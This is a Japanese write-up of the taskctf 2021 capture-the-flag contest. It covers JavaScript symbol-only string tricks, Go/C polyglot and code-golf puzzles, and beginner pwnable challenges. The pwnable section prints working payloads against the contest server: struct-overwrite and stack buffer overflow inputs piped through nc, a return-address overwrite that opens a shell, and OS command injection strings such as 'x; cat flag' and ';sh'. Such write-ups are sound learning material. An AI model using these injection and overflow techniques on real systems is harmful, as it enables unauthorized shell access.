@task423さんの誕生日に開催されるCTF。誕生日おめでとうございます
全問解いて3位。
Welcome
welcome (100)
Flagは
taskctf{glhf!}
です。
taskctf{glhf!}
Misc
js (30)
(
,)
,[
,]
,+
,!
の6種類の文字のみで, "yes" という文字列を作れますか?
"e"
と"s"
は簡単。
-
!![]
→true
-
[]+!![]
→"true"
-
!![]+!![]+!![]
→3
-
([]+!![])[!![]+!![]+!![]]
→"e"
-
![]
→false
-
([]+![])[!![]+!![]+!![]]
→"s"
問題は"y"
。
分からないのでググった。
-
"e"
と"0"
と"1"
を作る -
"1e1000"
を作って数値にするとInfinity
- 文字列に変換して
"y"
ゲット
なるほどなぁ。
$ curl http://34.145.29.222:30009 -H 'Content-Type: application/json' -d '{"want_flag": "([]+(+((+!![])+([]+!![])[!![]+!![]+!![]]+(+!![])+(+![])+(+![])+(+![]))))[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+([]+!![])[!![]+!![]+!![]]+([]+![])[!![]+!![]+!![]]"}'
taskctf{js_1s_4_tr1cky_l4ngu4ge}
taskctf{js_1s_4_tr1cky_l4ngu4ge}
polyglot (30)
同一のコードで複数のプログラミング言語やファイル形式に対応するものをPolyglotと呼びます。 GoとC言語の両方で、Flagを表示するようなPolyglotを作ってみてください。
真っ当にコードを書いて複数の言語で正しく解釈されるなんてまず無理なので、コメントや複数行文字列を使って解釈される部分を切り替えるのが、Polyglotのコツである。例えば、PythonとCのPolyglotならこんな感じ。コードハイライトを見ると意図が分かると思う。
# if 0
print("Hello, world")
"""
# endif
# include <stdio.h>
int main()
{
puts("Hello, world");
}
# if 0
"""
# endif
# if 0
print("Hello, world")
"""
# endif
# include <stdio.h>
int main()
{
puts("Hello, world");
}
# if 0
"""
# endif
では、こんな感じでGoとCのpolyglotを……。あれ、GoもCも、1行コメントは//
で、複数行コメントは/* */
では? 同じものがコメントと解釈されると切り替えられない。そういえば、Cは行末に\
を書くと改行が消えて1行になるという仕様があるのだった。
// \
/*
# include <stdio.h>
int main()
{
FILE *f;
char b[1000] = {};
f = fopen("flag", "r");
fread(b, 1, 1000, f);
printf("%s", b);
}
/*/
package main
import (
"fmt"
"os"
)
func main() {
f, _ := os.ReadFile("flag")
fmt.Print(string(f))
}
//*/
Qiitaのコードハイライトは対応していなかったが、Cの場合は/
の直後の改行が消えて、次の行の/*
自体がコメントアウトされる。
taskctf{s0_curi0us}
polygolf (50)
この2つを合わせた、文字数制限付きのPolyglotを用意してみました。
制限は185文字。
何とでもなるだろと思ったけど、意外と難しかった。Cのほうをsystem("cat flag")
にしてクリア。
// \
/*
main(){system("cat flag");}
/*/
package main
import (
"fmt"
"os"
)
func main() {
f, _ := os.ReadFile("flag")
fmt.Print(string(f))
}
//*/
この問題には続きがあるけれど、長くなるのでこの記事の最後に。
taskctf{H4ve_y0u_kn0w_p0lygl0t}
Pwnable
super_easy (10)
配布されたソースコードも読まずに適当に入力したら解けた。
$ nc 34.145.29.222 30002
Input task name
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
task
task name: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
task done: 1633771873
taskctf{bre4k_e4sily}
後から読んだら、name
の直後の変数が0でなくなれば通るっぽい。
taskctf{bre4k_e4sily}
super_easy2 (20)
0でなくなれば良い変数の後に、0x1337にしないといけない変数がある。
$ printf "0123456789abcdef\x01\x00\x00\x00\x37\x13\x00\x00\n" | nc 34.145.29.222 30003
Input task name
task
task name: 0123456789abcdef
task done: 1
taskctf{y0u_c4n_4ls0_0verwr1te}
taskctf{y0u_c4n_4ls0_0verwr1te}
script_kiddie (20)
:
void show_flag() {
char flag_name[0x10] = {};
printf("Which flag do you want?");
read(0, flag_name, 0x10);
char cmd[0x20];
sprintf(cmd, "echo %s", flag_name);
// show FLAG
system(cmd);
}
:
OSコマンドインジェクション。
$ nc 34.145.29.222 30005
Which flag do you want?x; cat flag
x
taskctf{n0w_y0u_g0t_shell}
taskctf{n0w_y0u_g0t_shell}
super_easy3 (30)
さらに後ろにtime_t deadline
が追加。deadline
は現在時刻から現在時刻+1日の間でないといけない。問題のソースコードをコピペして文字列を作ると楽。
なぜか通らないなぁと思ったら、時差だった。サーバー側はUTCで動いているっぽい。
# include <stdio.h>
# include <stdlib.h>
# include <time.h>
# define MAX_NAME_SIZE 16
// TASKはタスクを管理する構造体
typedef struct {
char name[MAX_NAME_SIZE]; // 最大16文字
u_int32_t is_done;
u_int32_t score;
double rate;
time_t deadline;
} TASK;
int main()
{
TASK task = {};
task.is_done = 1;
task.score = 0x1337;
task.deadline = time(NULL)-8*60*60;
fwrite(&task, sizeof task, 1, stdout);
puts("");
}
$ gcc solve.c -o solve && ./solve | nc 34.145.29.222 30004
Input task name
task
task name:
task done: 1
task score: 4919
task deadline: Sun Dec 12 00:05:57 2021
taskctf{n0w_y0u_kn0w_t1me_t}
taskctf{n0w_y0u_kn0w_t1me_t}
script_kiddie2 (30)
5文字しか入力できない。;sh
。
$ nc 34.145.29.222 30007
Which flag do you want?;sh
ls -al
total 36
drwxr-xr-x 1 root user 4096 Dec 11 16:05 .
drwxr-xr-x 1 root root 4096 Dec 11 14:59 ..
-r--r--r-- 1 root user 22 Dec 11 14:56 flag
-r-xr-xr-x 1 root user 17080 Dec 11 16:05 script_kiddie2
-r-xr-xr-x 1 root user 92 Dec 11 14:56 start.sh
cat flag
taskctf{sh_1s_als0_0k}
taskctf{sh_1s_als0_0k}
prediction (50)
:
void show_flag() {
char flag_name[0x30];
printf("What is the flag?");
flag_name[read(0, flag_name, 0x100) - 1] = '\0';
if (strncmp(flag_name, "taskctf{", 8) != 0) {
write(2, "Invalid flag", 13);
return;
}
// ここは正しいflagに差し替えられています
if (strcmp(flag_name, "taskctf{hogefugapiyo}") == 0) {
// show FLAG :)
system(binsh);
}
// DEBUG MODE
// TODO: remove
{
register unsigned long rsp asm("rsp");
register unsigned long rbp asm("rbp");
debug_stack_dump(rsp, rbp);
}
}
:
Predictionできるわけはないので、スタックバッファオーバーフローでリターンアドレスを書き換えて、system(binsh)
の行に飛ばす。
$ (python2 -c 'print("taskctf{"+"a"*0x30+"\xf7\x13\x40\x00\x00\x00\x00\x00")'; cat) | nc 34.145.29.222 30006
What is the flag?
***start stack dump***
0x7ffdf730d8b0: 0x7b6674636b736174 <- rsp
0x7ffdf730d8b8: 0x6161616161616161
0x7ffdf730d8c0: 0x6161616161616161
0x7ffdf730d8c8: 0x6161616161616161
0x7ffdf730d8d0: 0x6161616161616161
0x7ffdf730d8d8: 0x6161616161616161
0x7ffdf730d8e0: 0x6161616161616161 <- rbp
0x7ffdf730d8e8: 0x00000000004013f7 <- return address
0x7ffdf730d8f0: 0x0000000000000000
0x7ffdf730d8f8: 0x00007f09417ee0b3
0x7ffdf730d900: 0x00007f09419b36a0
***end stack dump***
ls -al
total 36
drwxr-xr-x 1 root user 4096 Dec 11 15:04 .
drwxr-xr-x 1 root root 4096 Dec 11 15:03 ..
-r--r--r-- 1 root user 26 Dec 11 14:56 flag
-r-xr-xr-x 1 root user 17320 Dec 11 15:03 prediction
-r-xr-xr-x 1 root user 87 Dec 11 14:56 start.sh
cat flag
taskctf{r0p_1s_f4mous_way}
taskctf{r0p_1s_f4mous_way}
コードゴルフ
あっさり終わったなと思って、Twitterを眺めていたら、ヤバいツイートがされていた。やるしかない。
残り約5時間となりました。
— Tasker (@task4233) December 12, 2021
現在6人の全完者が出ています。
また、とある参加者さんのフィードバックに応じてPolygolfのランキングを追加してみました。
興味のある方は最短コードを狙ってみてはいかがでしょうか?#taskctf pic.twitter.com/UeTLZJN3qF
提出したコードを残しておけば良かったのだけど、残してなかったので最後以外は実際に提出したコードではない。
元のコード。
// \
/*
main(){system("cat flag");}
/*/
package main
import (
"fmt"
"os"
)
func main() {
f, _ := os.ReadFile("flag")
fmt.Print(string(f))
}
//*/
素直に削れるところを削る。
//\
/*main(){system("cat flag");}/*/package main;import("fmt";"os");func main(){f,_:=os.ReadFile("flag");fmt.Print(string(f))}//*/
GoのほうでもCと同じ事をやろうと思ったけど、os/execでコマンドを実行するやつって、標準出力を(元のプログラムへのパイプではなく)そのまま標準出力に出力する方法は無いのか?
GoとCの両方で、"flag"というファイルの中身を出力するPolyglotを書いてください。
これは間違い(?)で、チェッカーのやっていることは、
GoとCの両方で、
"taskctf{H4ve_y0u_kn0w_p0lygl0t}\n"
という文字列を出力するPolyglotを書いてください。
である。
//\
/*main(){system("cat flag");}/*/package main;import"fmt";func main(){fmt.Println("taskctf{H4ve_y0u_kn0w_p0lygl0t}")}//*/
fmt.Println("taskctf{H4ve_y0u_kn0w_p0lygl0t}")
をfmt.Print("taskctf{H4ve_y0u_kn0w_p0lygl0t}\n")
に変えても文字数は一緒。ところで、Goには改行を含めることができる文字列定数がある。
//\
/*main(){system("cat flag");}/*/package main;import"fmt";func main(){fmt.Print(`taskctf{H4ve_y0u_kn0w_p0lygl0t}
`)}//*/
そういえば、TSG Live!でコードゴルフをやっていて、Goもあったな。
- 誰が書いても同じコードになるよう設計された言語。
- 工夫の余地なし。
- ゴルファーへの殺意を感じる
https://youtu.be/Xgm7YFMUHL8?t=4670
ほんとそれ。それはともかく、なるほど、import."fmt"
という手があるのか。
//\
/*
main(){system("cat flag");}/*/package main;import."fmt";func main(){Print(`taskctf{H4ve_y0u_kn0w_p0lygl0t}
`)}//*/
"cat flag"
って、素直にflag
を指定しなくて良いよね。"cat f*"
。
//\
/*
main(){system("cat f*");}/*/package main;import."fmt";func main(){Print(`taskctf{H4ve_y0u_kn0w_p0lygl0t}
`)}//*/
ブラウザから普通に投稿すると、改行が\r\n
の2文字になってしまう。curlで投稿しようとしたらなぜかエラーになったので、スクリプトを書いた。
import requests
import sys
r = requests.post(
#"http://localhost:30010/judge",
"http://34.145.29.222:30008/judge",
data = {
"code": open(sys.argv[1]).read()
})
print(r.text)
これで119バイト。
$ ls -al code.go
-rwxrwxrwx 1 kusano kusano 119 Dec 12 21:37 code.go
$ sha256sum code.go
b57982864f50fcc24dead7541897c1df40d71f727f9c4e3be37f5e7fffd9622b code.go
ま、これが最短でしょ。と思っていたら、82 → 80 → 70と抜かれてしまった。え、何これ……。
教えてもらった。なるほどw
許可を取ってチートしました🙇♂️https://t.co/begXSmZE9f
— Satoki@Kn0wl3dg3 (@satoki00) December 12, 2021